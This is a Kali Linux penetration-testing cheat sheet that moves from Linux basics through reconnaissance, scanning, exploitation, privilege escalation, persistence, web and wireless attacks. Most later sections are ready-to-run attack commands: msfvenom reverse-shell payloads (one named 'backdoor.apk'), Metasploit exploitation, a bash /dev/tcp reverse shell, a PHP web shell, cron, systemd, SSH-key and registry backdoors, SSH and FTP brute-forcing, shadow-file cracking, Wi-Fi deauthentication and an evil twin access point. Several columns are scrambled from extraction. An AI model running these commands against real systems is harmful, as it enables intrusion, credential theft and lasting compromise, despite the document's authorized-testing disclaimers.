Kali Linux Cheat Sheet

Author: CyberMindSpace / AlmadadAli
Version: 1.0 **Date:** 2025-12-10

Table of Contents

1. Linux Essentials
2. File & Directory Commands
3. Permissions & Ownership
4. Bash Shortcuts & Productivity
5. Running & Creating Scripts
6. Process & Network Monitoring
7. Common Ports
8. Quick Reference
9. Recon & OSINT
10. Passive Recon
11. Active Recon
12. theHarvester — OSINT Multitool
13. Amass — Subdomain Enumeration
14. DNS & Subdomain Tools
15. Social Recon & Phishing Prep
16. Network Scanning & Enumeration
17. Host Discovery
18. Nmap: Port Scanning & Scripting
19. Service & Version Enumeration
20. Protocol Enumeration (SMB/FTP/NFS/SNMP)
21. S Fingerprinting & Web Tech Stack
22. Vulnerability Discovery & Identification
23. Manual Discovery Tactics
24. Exploit & CVE Lookup
25. Access & Exploitation
26. Metasploit Framework
27. Payload Creation (msfvenom)

1. Linux Essentials

1.1 File & Directory Commands

```
# === Viewing files & folders ===
ls ls -                 # List files and folders # Detailed
l  ls  -                list (perms, size, date) # Include
la ls -                 hidden files # Human-readable sizes
lh

# === Moving around ===
pwd cd /etc cd ~ cd -  # Print current directory
cd ..                   # Go to /etc
                        # Go to home directory
                        # Go up one level
                        # Go to previous directory

# === Creating things ===
mkdir      test         # Create folder "test"
mkdir  -p  a/b/c        # Create nested dirs
touch file.txt          # Create or update file

# === Viewing & reading files ===
cat file.txt            #  Show  file  content  #
head file.txt           First 10 lines # First 20
head -n 20 file.txt     lines  #  Last  10  lines  #
tail file.txt           Live  view  file  changes  #
tail -f logs.txt        Scroll file (q to quit)
less file.txt

# === Copying, moving & renaming ===
cp file.txt /tmp/       # Copy file to /tmp
cp -r dir1 dir2         # Copy folder recursively
cp -i file.txt file.bak # Copy with confirm
mv file.txt /tmp/       # Move file to /tmp
mv old.txt new.txt      # Rename file

# === Deleting files & folders ===
rm file.txt             # Delete file
rm -i file.txt          # Ask before delete
```

Cyber Mind Space

```
rm -rf folder/           # Force delete folder ⚠
rmdir empty/dir/         # Remove empty folder

# === Finding & searching ===
find / -name "*.conf" 2>/dev/null # Find .conf files (ignore errors)
find . -type f -size +10M        # Find files >10MB
grep "root" /etc/passwd          # Search "root" in file
grep -r "password" /etc/         # Recursive search
grep -i "user" file.txt          # Case-insensitive search

# === File information ===
file script.sh           # Detect file type
du -sh * # Folder sizes
df -h                    # Disk space (human)
stat file.txt            # File info & perms

# === Links ===
ln file.txt hard.txt     # Make hard link
ln -s /etc/passwd soft.txt # Make soft (symbolic) link

# === Archive & compress ===
tar -czf files.tar.gz folder/ # Compress to .tar.gz
tar -xzf files.tar.gz    # Extract .tar.gz
zip -r files.zip folder/ # Zip folder
unzip files.zip          # Unzip archive
gzip file.txt            # Compress file with gzip
gunzip file.txt.gz       # Decompress gzip file

# === Clean up ===
rm -rf /tmp/* # Delete temp files ⚠
history -c               # Clear command history
```

1.2 Permissions & Ownership

```
# === Permissions ===
chmod +x script.sh       #  Make  file  executable  #  Owner=rwx,
chmod 755 file.sh        group=rx, others=rx # Owner=rw, group=r,
chmod 644 file.txt       others=r  #  Set  perms  for  all  files  in
chmod -R 755 /path/      folder # Show permissions and ownership
ls -l                    #  Detailed  file  info  and  perms  #  Show
stat file.txt            default  permission  mask  #  Set  default
umask                    mask (files 644, dirs 755)
umask 022

# === Special Permissions (SUID, SGID, Sticky Bit) ===
chmod 4755 file          # Setuid (run as owner)
chmod 2755 dir           # Setgid (inherit group)
chmod +t /tmp            # Sticky bit (only owner can delete)
find / -perm -4000 2>/dev/null # Find setuid files
find / -perm -2000 2>/dev/null # Find setgid files

# === Ownership ===
chown user:group file.txt # Change owner and group
chown -R user:group /dir # Change owner/group recursively
chgrp staff file.txt     # Change file's group only
```

1.3 Bash Shortcuts & Productivity

```
# === Execution Control ===
Ctrl  +  C               # Stop running command
Ctrl + Z                 # Pause current process (bg/fg to resume)

# === History ===
Ctrl  +  R  history      # Search command history
!! !n !sudo              # Show previous commands
                         # Run last command again
                         # Run command number n from history
                         # Re-run last command with sudo

# === Terminal Display ===
clear                    # Clear terminal screen
reset                    # Messed-up terminal

# === Variables & Path ===
echo $USER               # Show current username
echo $PWD                # Show current working directory
echo $SHELL              # Show current shell path
export PATH=$PATH:/opt/tools # Add folder to PATH
source ~/.bashrc         # Reload bash settings

# === Aliases ===
alias ll='ls -lah'       # Create command shortcut
unalias ll               # Remove alias

# === Input Aids ===
Tab + Tab                # Autocomplete commands/files
↑ / ↓                    # Scroll through command history
```

1.4 Running & Creating Scripts

```
# === Script Creation & Execution ===
#!/bin/bash             # Shebang: use Bash to run this script
chmod +x script.sh       # Make script executable
./script.sh              # Run script from current directory
bash script.sh           # Run script with bash explicitly
```

Cyber Mind Space

```
sh script.sh              # Run script with sh
sudo ./script.sh          # Run script as root

# === Background & Persistence ===
./script.sh &             # Run script in background
nohup ./script.sh > out.log 2>&1 & # Background, ignore hangups, log output
./script.sh & disown      # Detach job from shell

# === Exit Status & Errors ===
echo $?                   # Show exit code of last command (0 = success)
set -e                    # In scripts: exit on first error
```

1.5 Process & Network Monitoring

```
# === Process Monitoring ===
ps aux                    # List running processes
top                       # Interactive process viewer
htop                      # Enhanced top (if installed)
kill 1234                 # Graceful kill by PID
kill -9 1234              # Force kill by PID

# === Network Sockets & Ports ===
netstat -tuln             # Show listening ports (legacy) #
ss -tuln                  Show  listening  ports  (modern)  #
lsof -i -P -n             List open network files/sockets #
ss -s                     Summary of socket stats

# === Network Interfaces & Routing ===
ip addr                   # Show network interfaces and IPs
ip route                  #  Show  routing  table  #  Bring
ip link set eth0 up       interface  up  #  Bring  interface
ip link set eth0 down     down

# === Connectivity & Traffic ===
ping 1.1.1.1              # ICMP ping to check connectivity
traceroute 1.1.1.1        # Trace network path to host
tcpdump -i eth0           # Capture packets on interface (requires root)
tcpdump -i eth0 -c 100    # Capture 100 packets then stop
tshark -i eth0            # CLI packet analyzer (Wireshark CLI)

# === Web/HTTP Tools ===
curl http://host          # Fetch HTTP page # Show
curl -I http://host       HTTP   headers   only   #
wget http://file          Download file via HTTP
```

1.6 Common Ports (Most Used)

Port	Protocol	Description
21	FTP	File transfers
22	SSH	Secure shell
53	DNS	Name resolution
80	HTTP	Web traffic
443	HTTPS	Secure web traffic
3306	MySQL	Database service
3389	RDP	Windows remote

Cyber Mind Space

1.7 Quick Reference

```
# === System Info ===
whoami                    # Show current logged-in user
date                      # Display system date and time
uptime                    # Show system uptime and load
uname -a                  # Kernel and system information
df -h                     # Disk usage (human-readable)
du -sh folder/            # Folder size summary
free -h                   # Show memory usage

# === User & Remote Access ===
passwd                    # Change your current password
ssh user@ip               # Connect to remote system via SSH
scp file user@host:/path/ # Copy file securely to remote host

# === Archiving (Quick) ===
tar -cvf file.tar folder/ # Create tar archive
tar -xvf file.tar         # Extract tar archive
```

---

2. Recon & OSINT

2.1 Passive Recon (No direct contact)

```
# === Exposed devices & services ===
shodan search 'org:"Company" port:22' # Shodan: find org devices with SSH
censys search 'services.service_name:HTTP' # Censys: find HTTP services & certs

# === Certificates & subdomains ===
curl 'https://crt.sh/?q=%25.example.com&output=json' # crt.sh: find subdomains via certs
amass enum -passive -d example.com # Amass: passive subdomain enumeration
subfinder -d example.com -silent # Find subdomains from public sources
crt.sh lookup example.com        # Cert transparency check for subdomains

# === Email & host harvesting ===
theHarvester -d example.com -b all # Collect emails and hosts
recon-ng                         # Interactive OSINT framework

# === Historical data ===
waybackurls example.com          # Get old URLs from Wayback
gau example.com                  # Get archived URLs (CommonCrawl + Wayback)

# === Domain & DNS info ===
whois example.com                # Domain owner, registrar, expiry
dig +short NS example.com        # List name servers
dig +short example.com           # Resolve domain to IP

# === Robots & hidden paths ===
curl -s http://example.com/robots.txt # View restricted or hidden paths

# === Google & GitHub Dorking ===
site:example.com ext:sql         # Google: find indexed .sql files
intitle:"index of" "backup"      # Google: find exposed directories
site:github.com "example.com" "password" # GitHub: look for leaked secrets

# === Metadata & file scraping ===
exiftool file.docx               # Extract author and metadata
strings image.png                # Reveal embedded text or data

# === Tech fingerprinting ===
whatweb example.com              # Detect CMS, server, tech stack
builtwith example.com            # BuiltWith: web tech info

# === Site snapshots ===
urlscan.io submit https://example.com --no-async # Submit to urlscan.io
curl -s "https://r.jina.ai/http://example.com" | head -n 5 # Quick text snapshot

# === Passive DNS & enrichment ===
securitytrails query domain example.com # SecurityTrails lookup (API)
crt.sh -d example.com            # crt.sh domain lookup

# === Recon workflow ===
amass enum -passive -d example.com # Collect subdomains
subfinder -d example.com -silent # Gather more subdomains
waybackurls example.com | grep -E '\.sql|/backup' # Find leaks in archives

# Notes: Passive recon uses public data only. Stay within legal scope.
```

2.2 Active Recon (You touch the target)

```
# === Port scanning & service discovery ===
nmap  -sV  -Pn  example.com       # Version detection, skip host discovery
nmap  -p-  -T4  example.com       # Scan all ports quickly (1-65535)
nmap -A -T4 example.com           # Aggressive: OS, versions, scripts, save output
nmap -sC -sV -oA nmap_basic example.com # Default scripts + version, save output
masscan -p1-65535 192.168.1.0/24 --rate=1000 # Fast port scan

# === Banner grabbing (manual) ===
nc example.com 80                 # Open raw TCP connection to port 80
curl -I http://example.com        # Fetch HTTP headers
telnet example.com 25             # Connect to SMTP for banner check

# === DNS enumeration & brute ===
dig ANY example.com               # Query available DNS records
host -t mx example.com            # Lookup MX (mail) records
dig @ns1.example.com axfr example.com # Try zone transfer (AXFR)

# === Web & directory discovery ===
gobuster dir -u http://example.com -w /usr/share/wordlists/dirb/common.txt # Web & directory discovery
ffuf -u https://example.com/FUZZ -w /path/wordlist # Web fuzzing (directory/file)
nikto -h http://example.com       # Web server vulnerability scan
wpscan --url https://example.com --enumerate u,vp # WordPress scan

# === Vulnerability & service checks ===
nmap --script vuln -sV example.com # Run NSE vuln scripts
nmap --script smb-enum-shares.nse -p445 example.com # SMB / Windows enumeration

# === SMB / Windows enumeration ===
smbclient -L //192.168.1.10 -U guest # List SMB shares (anonymous)
enum4linux -a 192.168.1.10        # AD & SMB enumeration (Linux tool)
smbmap -H 192.168.1.10            # Map SMB shares and permissions

# === Misc active tools & tips ===
traceroute example.com            # Path/midpoint discovery
arp-scan -l                       # Discover hosts on local LAN
hydra -L users.txt -P pass.txt ssh://192.168.1.5 # Bruteforce login

# Notes: Active recon touches the target — ALWAYS have authorization and stay in scope.
```

2.3 theHarvester — OSINT Multitool

```
theHarvester -d example.com -b all # Collect emails, hosts, subdomains from many sources
theHarvester -d example.com -b bing # Use specific backend (bing, google, shodan, etc.)
```

Cyber Mind Space

```
theHarvester -d example.com -b google -l 500 # Limit results (here: max 500)
theHarvester -d example.com -b all -f out.html # Save output to file (HTML, CSV, or XML based on extension)

# Tips: Use output to build phishing lists, feed subdomain bruteforce tools, or profile people. Some backends require API keys.
```

2.4 Amass — Subdomain Enumeration

```
amass enum -passive -d example.com # Passive sources only (no direct DNS queries)
amass enum -d example.com -o subs.txt # Run full enum and save subdomains to subs.txt
amass enum -d example.com -o subs_with_ips.txt -ip # Output subdomains with resolved IPs
amass enum -d example.com -brute -w /path/wordlist # Active bruteforce enumeration
amass enum -d example.com -r subs_src.txt # Reverse DNS lookup
amass enum -d example.com -config /path/amass_config.ini -o subs_cfg.txt # Use custom configuration
amass db -d example.com -src     # Show DB entries with source
amass track -d example.com -o changes.txt # Track and save changes over time

# Tip: Add API keys in ~/.config/amass/config.ini to improve passive results.
```

2.5 DNS & Subdomain Tools

```
# === Enumeration & zone transfer ===
dnsenum example.com              # DNS enumeration, host discovery, try AXFR
dnsrecon -d example.com -a       # Aggressive DNS recon (AXFR, brute, SRV)
sublist3r -d example.com         # Fast subdomain scraping via search engines

# === Passive & discovery ===
subfinder -d example.com -silent # Passive subdomain discovery
amass enum -d example.com -brute # Active + brute-force subdomain enumeration
findomain -t example.com         # Quick subdomain enumeration (alternative)

# === Certificate transparency ===
crt.sh lookup example.com        # Cert transparency check for subdomains

# === DNS lookups & records ===
dig +short example.com           # Resolve domain to IP(s)
host -t A example.com            # DNS A record lookup
host -t mx example.com           # DNS MX (mail) lookup

# === Bulk resolve & probe ===
massdns -r resolvers.txt -t A -o names.txt # Bulk resolve & probe
dnsx -a -resp -r resolvers.txt < names.txt # Filter and resolve with results

# === Vhost discovery ===
ffuf -u https://example.com/FUZZ -w subdomains.txt -H "Host: FUZZ.example.com" # Vhost discovery

# === Data & DB ===
amass db -d example.com -src     # Show amass DB entries with source attribution

# Note: Combine passive + active: collect names → resolve (massdns/dnsx) → verify live hosts. Always have authorization before brute-force.
```

2.6 Social Recon & Phishing Prep

```
# === LinkedIn & public profiles ===
site:linkedin.com "Company" "Employees" # Find employee pages on LinkedIn

# === GitHub & code search ===
site:github.com "companyname"    # Find company repos or leaked code
org:companyname filename:.env OR ext:env # GitHub Dork: env files / secrets

# === Email formats & permutation ===
# Example formats: j.doe@example.com, john.d@example.com, john.doe@example.com
python3 email-permuter.py > emails.txt # Script: generate common email permutations

# === Email harvesting & tools ===
theHarvester -d example.com -b all # Harvest emails/hosts from many sources
Hunter.io example.com            # Hunter: find email patterns (Web/API)

# === Verify / SMTP checks ===
nc   -vz   mail.example.com   25  # Check SMTP port (connectivity)
telnet mail.example.com 25       # Manual SMTP connect to test deliverability
smtp-user-enum -M VRFY -U users.txt -t mail.example.com # Enumerate users

# === Leak searches & breach checks ===
site:pastebin.com "example.com" # Search Pastebin for leaks
haveibeenpwned -email j.doe@example.com # HIBP Check (use API/web)

# === SPF / DKIM / DMARC & header checks ===
dig +short TXT example.com | grep -i spf # Check SPF TXT record
dig _dmarc.example.com txt        # Check DMARC record
 openssl s_client -connect mail.example.com:25 -starttls smtp -crlf # Manual connection

# === Image & profile metadata ===
exiftool avatar.jpg              # Extract metadata from images (EXIF)

# === Phishing list prep & tools ===
printf "j.doe@example.com,John,Doe,Example\n" >> phish.csv # Simple CSV list creation
setoolkit                        # Social-Engineer Toolkit (interactive)

# Legal & ethics: Only perform social-engineering or phishing with explicit authorization and in-scope.
```

Cyber Mind Space

3. Network Scanning & Enumeration

3.1 Host Discovery (Who's Alive?)

```
# === ARP / LAN discovery ===
netdiscover -r 192.168.1.0/24 # Find IPs, MACs, vendors on local LAN
arp-scan -I eth0 192.168.1.0/24 # Accurate ARP discovery (requires root)
arping -c 3 192.168.1.1        # Send ARP requests to verify a single host

# === ICMP / ping sweeps ===
fping -g 192.168.1.0/24        # Fast ICMP ping sweep of a subnet
ping -c 3 192.168.1.1          # Quick ping check (3 packets)

# === Nmap / host probes (non-port) ===
nmap -sn 192.168.1.0/24        # Ping scan: list live hosts, no port scan
nmap -Pn 192.168.1.1           # Treat host as up (skip ping), useful behind firewalls

# === Ultra-fast TCP/UDP discovery ===
masscan -p1-65535,U:1-65535 192.168.1.0/24 --rate=1000 # Ultra-fast scanning

# === Local cache & tables ===
ip neigh                       # Show kernel ARP table (IP -> MAC)
arp -a                         # Show cached ARP entries

# === Windows / NetBIOS Discovery ===
nbtscan 192.168.1.0/24         # NetBIOS names, hostnames, MACs (Windows networks)

# Privilege note: Many discovery tools need root; prefix with sudo when required (e.g., sudo arp-scan, sudo masscan)
```

3.2 Nmap: Port Scanning & Scripting

```
# === Default top ports (fast) ===
nmap example.com               # Default scan (top 1000 TCP ports)

# === Full TCP scan ===
nmap -p- example.com           # Scan all 65535 TCP ports

# === Specific ports ===
nmap -p 21,22,80,443 example.com # Scan listed ports only

# === Stealth SYN scan ===
nmap -sS example.com           # TCP SYN (stealth) scan

# === UDP scan (slow) ===
nmap -sU example.com           # UDP ports (DNS, SNMP, etc.)

# === Aggressive scan (OS, services, NSE) ===
nmap -A example.com            # OS, versions, traceroute, scripts

# === OS fingerprinting ===
nmap -O example.com            # Try to detect target OS

# === Service version detection ===
nmap -sV example.com           # Detect service versions
nmap -sV --version-intensity 5 example.com # Service version detection (intensity 0-9)

# === NSE scripting (scripts categories) ===
nmap --script=default example.com # Run default NSE scripts
nmap --script=vuln example.com # Run vulnerability-detection scripts
nmap --script=http-title example.com # Get web page title
nmap --script=banner example.com # NSE banner script to grab service banners

# === Tuning & stealth options ===
nmap -T4 example.com           # Timing template (T0 slow – T5 fast)
nmap -D RND:10 example.com     # Use 10 random decoys
nmap -f example.com            # Fragment packets (evasion attempt)

# === Host discovery / ping behavior ===
nmap -Pn example.com           # Treat host as up (skip ping/discovery)

# === Save output ===
nmap -oN scan.txt example.com # Save normal output to file
nmap -oX scan.txt example.com # Save XML output (automation)

# === Full aggressive scan combo ===
nmap -sS -sV -p- -A -T4 example.com -oN fullscan.txt

# Note: Use sudo for low-level scans (udp, arp, raw sockets). Always have permission before scanning.
```

3.3 Service & Version Enumeration

```
# === Nmap version detection ===
nmap -sV example.com           # Detect service versions
nmap -sV --version-intensity 5 example.com # Service version detection (intensity 0-9)
nmap --script=banner example.com # NSE banner script to grab service banners
```

3.4 Protocol Enumeration (SMB, FTP, NFS, SNMP)

```
# === NetBIOS / SMB ===
nbtscan 192.168.1.0/24         #Windows     hostnames/domains
enum4linux -a target-ip        #SMB  shares,  users,  policies
smbclient -L //target-ip/-N    #List shares (try anonymous)

# === SMB downloads ===
```

Cyber Mind Space

```
smbget -R smb://target-ip/share # Recursively download shared files

# === RPC & null sessions ===
rpcclient -U "" -N target-ip   # Connect with no password

# === NFS ===
showmount -e target-ip         # View exported NFS shares

# === Permissions mapping ===
smbmap -H target-ip            # Show access per share

# === On compromised host ===
smbstatus                      # List active Samba sessions
```

3.5 OS Fingerprinting & Web Tech Stack

```
# === OS detection ===
nmap -O target-ip              # Active OS detection
xprobe2 -v target-ip           # Alternative OS fingerprinting
p0f -i eth0                    # Passive OS detection from live traffic

# === Banner grabbing ===
nc example.com 80              # Open raw TCP to port 80 (type HTTP requests)
printf "HEAD / HTTP/1.0\r\nHost: example.com\r\n\r\n" | nc example.com 80 # Manual banner grabbing
telnet example.com 25          # Connect to SMTP to view banner
curl -I http://example.com     # Fetch HTTP Headers (server info)
ssh -v user@example.com        # SSH verbose: show server version & methods

# === Web tech identification ===
whatweb http://target-ip       # CMS, frameworks, server stack
httprint -h target-ip          # Web server fingerprinting (less common)
sslscan target-ip              # SSL/TLS version & cipher details

# === Listener / testing ===
nc -lvnp 4444                  # Start TCP listener (for reverse shell testing)
```

---

4. Vulnerability Discovery & Identification

4.1 Core Vulnerability Scanners

```
# === Active Network Scanners ===
nmap -sV --script=vuln target.com # Run NSE vuln scripts
nikto -h http://target.com     # Web server vulnerability scan

# === Web/Application Scanners ===
sqlmap -u "http://target.com/page?id=1" --batch --dbs # SQL injection scanner
wpscan --url http://target.com --enumerate u # WordPress scan
nuclei -u http://target.com -t cves/ # Template-based vulnerability scanner

# === Other Tools ===
arachni http://target.com --report=save-only-positives # Web application scanner (report only positives)
burpsuite                      # Web application testing proxy

# === Enterprise/Manual Scanners ===
gvm-setup && gvm-check-setup   # Greenbone Vulnerability Management setup
/opt/nessus/sbin/nessusd       # Nessus daemon start
```

4.2 Manual Discovery Tactics

```
nc target.com 80               # Grab banner
telnet target.com 22           # SSH version check
curl -I http://target.com      # HTTP headers
nmap -sV target.com            # Service version check
ffuf -u http://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt # Directory brute-force
curl -X POST -d 'user=admin&pass=pass' http://target.com/login # Test login (basic)
```

4.3 Exploit & CVE Lookup

```
searchsploit apache            # Search for exploits related to "apache"
searchsploit -w openssl        # Search and output web links for openssl exploits
exploitdb -s CVE-2023-1234     # Exploit-DB search by CVE

# === Post-Lookup (Running an Exploit) ===
. /CVE.sh apache               # Execute a found exploit script
cve-search -q nginx            # Query CVE details for nginx
msfconsole                     # Start Metasploit Framework
search type:exploit keyword    # Search exploit modules
use exploit/windows/smb/ms17_010 # Select a module
```

4.4 Common Misconfigurations & Weak Spots

```
# Default creds
# Directory indexing
```

Cyber Mind Space

```
# Verbose errors
# Open databases or services
# Exposed files (backup.zip, .env)
# File uploads - test with Burp
```

5. Access & Exploitation

5.1 Finding & Running Exploits

```
searchsploit apache 2.4.49     # Search by software and version
searchsploit -x exploit/path.txt # Show exploit path and description
python3 exploit.py             # Run a Python exploit
gcc exploit.c -o exploit && ./exploit # Compile and run C exploit
wget https://example.com/exploit.sh # Download exploit
chmod +x exploit.sh && ./exploit.sh # Make executable and run
```

5.2 Metasploit Framework (msfconsole)

```
msfconsole                     # Start Metasploit Framework
search vsftpd                  # Search for vsftpd exploits
use exploit/unix/ftp/vsftpd_234_backdoor # Select an exploit
show options                   # View required settings
set RHOSTS 10.10.10.5          # Set target IP
set LHOST 10.10.14.2           # Set attacker IP for reverse connection
set PAYLOAD windows/meterpreter/reverse_tcp # Set payload
exploit                        # Run the exploit
sessions -l                    # List active sessions
sessions -i 1                  # Interact with session 1
background                     # Background the current session
```

5.3 msfvenom — Payload Creation

```
# === Windows Payload ===
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f exe > shell.exe

# === Linux Payload ===
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f elf > shell.elf

# === Android Payload ===
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=4444 -o backdoor.apk

# === Web Payload (PHP) ===
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f raw > shell.php

# === Encoded Payload ===
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.2 LPORT=4444 -e x86/shikata_ga_nai -i 3 -f exe > encoded.exe
```

5.4 Web Exploitation Tools

```
sqlmap -u "http://target.com/page?id=1" --batch --dbs # SQL injection
xsstrike -u "http://target.com/search?q=test" # XSS scanner
wfuzz -u http://target.com/page.php?file=FUZZ -w wordlist.txt # File inclusion fuzzing
ffuf -u http://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt # Content discovery
burpsuite                      # Web testing proxy
```

5.5 Online & Offline Password Attacks

```
# === Online ===
hydra -l admin -P rockyou.txt ftp://192.168.1.100 -F -V # FTP bruteforce (admin user)
hydra -l root -P rockyou.txt ssh://192.168.1.100 -t 4 -F -V # SSH bruteforce (root user, 4 threads)

# === Offline ===
unshadow /etc/passwd /etc/shadow > hashes.txt # Combine passwd and shadow files
john --wordlist=rockyou.txt hashes.txt # Crack with John the Ripper
hashcat -m 0 -a 0 md5.txt rockyou.txt # Crack MD5 hash with Hashcat
```

6. Escalation & Persistence

6.1 Linux Privilege Escalation — Manual

```
sudo -l                        # List commands the user can run with sudo
find / -perm -4000 -type f 2>/dev/null # Find SUID files
find / -writable -perm -4000 -type f 2>/dev/null # Find writable SUID files
crontab -l                     # List user's crontab entries
ls -la /etc/cron* # Examine system-wide cron directories/files
```

Cyber Mind Space

```
cat /etc/crontab              #View system crontab
uname -a                      #View kernel version (for kernel exploits)
```

6.2 Automated Linux PE Tools

```
# === LinPEAS ===
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh && ./linpeas.sh

# === Linux-Exploit-Suggester ===
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh && ./linux-exploit-suggester.sh
```

6.3 Windows Privilege Escalation — Manual

```
whoami /priv                  # View user privileges
systeminfo | sysinfo.txt      # Save system information
tasklist /svc                 # View running processes and services
wmic service get name,startmode,pathname # View service details
Import-Module .\PowerView.ps1 # Import PowerView (PowerShell tool)
Get-NetLocalGroupMember -Group "Administrators" # List Administrators group members
```

6.4 Persistence Techniques (Linux & Windows)

```
# === Linux (cron example) ===
@reboot /bin/bash /tmp/backdoor.sh # Run script on boot via crontab

# === SSH key backdoor ===
echo "ssh-rsa AAA..." >> ~/.ssh/authorized_keys # Add attacker's public key

# === Linux (Systemd service example) ===
cat > /etc/systemd/system/persist.service <<'EOF'
[Unit]
Description=Persistence Service
[Service]
ExecStart=/bin/bash /tmp/rev.sh
[Install]
WantedBy=multi-user.target
EOF
systemctl enable persist

# === Windows (Registry Run Key) ===
reg ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v backdoor /t REG_SZ /d "C:\backdoor.exe" # Run executable on login

# === Windows (Scheduled Task) ===
schtasks /create /tn updater /tr "C:\payload.exe" /sc minute /mo 10 # Run executable every 10 minutes
```

---

7. Web Application Attacks

7.1 Recon & Enumeration

```
ffuf -u http://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50 # Content discovery fuzzing
gobuster dir -u http://target.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 # Directory brute-force
waybackurls target.com        # URLs from Wayback Machine
gau target.com                # Archived URLs
```

7.2 Injection Attacks

```
# === SQLi ===
sqlmap -u "http://target.com/page.php?id=1" --batch # SQL injection

# === XSS ===
xsstrike -u "http://target.com/search?q=hello" # XSS scan

# === Command injection ===
curl -X POST -d "ip=127.0.0.1;id" http://target.com/ping # Command injection via POST
```

7.3 Authentication & Session Attacks

```
# === Brute-force example (ffuf) ===
ffuf -u http://target.com/login -w users.txt:USER -w passwords.txt:PASS -X POST -d "user=USER&pass=PASS" -H "Content-Type: application/x-www-form-
urlencoded"

# === JWT tampering ===
NjWt_tool token.jwt -p                # JWT manipulation tool
```

7.4 File Upload & Execution

Cyber Mind Space

```
# === Upload bypass examples ===
curl -F "file=@shell.php" http://target.com/upload # Simple file upload

# === PHP web shell example ===
<?php system($_GET['cmd']); ?>         # Basic PHP web shell
```

7.5 Security Misconfiguration Testing

```
# === Cross-Origin Resource Sharing (CORS) test ===
curl -H "Origin: https://evil.com" -I http://target.com # Check if server reflects origin

# === HTTP Method Fuzzing ===
curl -X PUT http://target.com/resource # Test if PUT is allowed (e.g., to upload a file)

# === Exposed configuration files ===
curl http://target.com/.env            # Check for environment files
```

---

8. Wireless Attacks

8.1 Interface Setup & Monitor Mode

```
iwconfig  ip  linksetwlan0down  #View wireless interfaces
iw  devwlan0settypemonitor  ip  #Take interface down
linksetwlan0up       airmon-ng  #Set interface to monitor mode
check  kill  airmon-ng  start  #Bring interface up
wlan0                           #Kill interfering processes
                                #Start monitor mode (creates wlan0mon)
```

8.2 Capture WPA/WPA2 Handshake

```
airodump-ng wlan0mon           # Scan for access points and clients
airodump-ng -c 6 --bssid <AP_MAC> -w capture wlan0mon # Capture handshake on channel 6 for specific AP
airplay-ng --deauth 10 -a <AP_MAC> -c <CLIENT_MAC> wlan0mon # Deauthenticate client
aircrack-ng capture-01.cap     # Crack captured WEP/WPA file
```

8.3 Hashcat Workflow

```
hcxpcapngtool -o output.hc22000 capture-01.cap # Convert .cap file to Hashcat format
hashcat -m 22000 -a 0 output.hc22000 /usr/share/wordlists/rockyou.txt --force # Crack WPA/WPA2 handshake hash
```

8.4 Evil Twin & Rogue APs

```
airbase-ng -e "Free_WiFi" -c 6 wlan0mon # Create a fake AP (Evil Twin)
hostapd-wpe                    # For enterprise evil twin (build from repo)
```

---

9. Scripting & Automation

9.1 Bash Templates

```
# === Nmap Scan Loop ===
for ip in $(cat targets.txt); do
nmap -sV -T4 -Pn scans/$ip.txt $ip
done

# === FFUF Scan Loop ===
for url in $(cat urls.txt); do
ffuf -u $url/FUZZ -w wordlist.txt -o ffuf_$url.json -of json
done
```

9.2 Python Examples

```
# === Simple Port Scanner ===
import socket
for port in range(20, 1025):
    try:
        s = socket.socket()
        s.settimeout(0.5)
        s.connect(("192.168.1.1", port))
```

Cyber Mind Space

```
        print(f"Port {port} is open")
        s.close()
    except:
        pass
```

9.3 Automation Snippets

```
# === Basic Reverse Shell with Bash ===
LHOST=10.10.14.2
LPORT=4444
echo "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"

# === Simple Ping Sweep ===
for i in {1..254}; do
ping -c1 192.168.1.$i | grep "64 bytes" &
done
```

Appendix — Useful Links & Resources

- Nuclei Templates
- Exploit-DB
- GTFOBins
- LOLBAS (Windows)
- PayloadsAllTheThings
- PEASS-ng

Legal & Ethics: Use all tools and techniques only with explicit authorization and when in scope. Keep logs, obtain consent, and follow applicable laws and policies.

Cyber Mind Space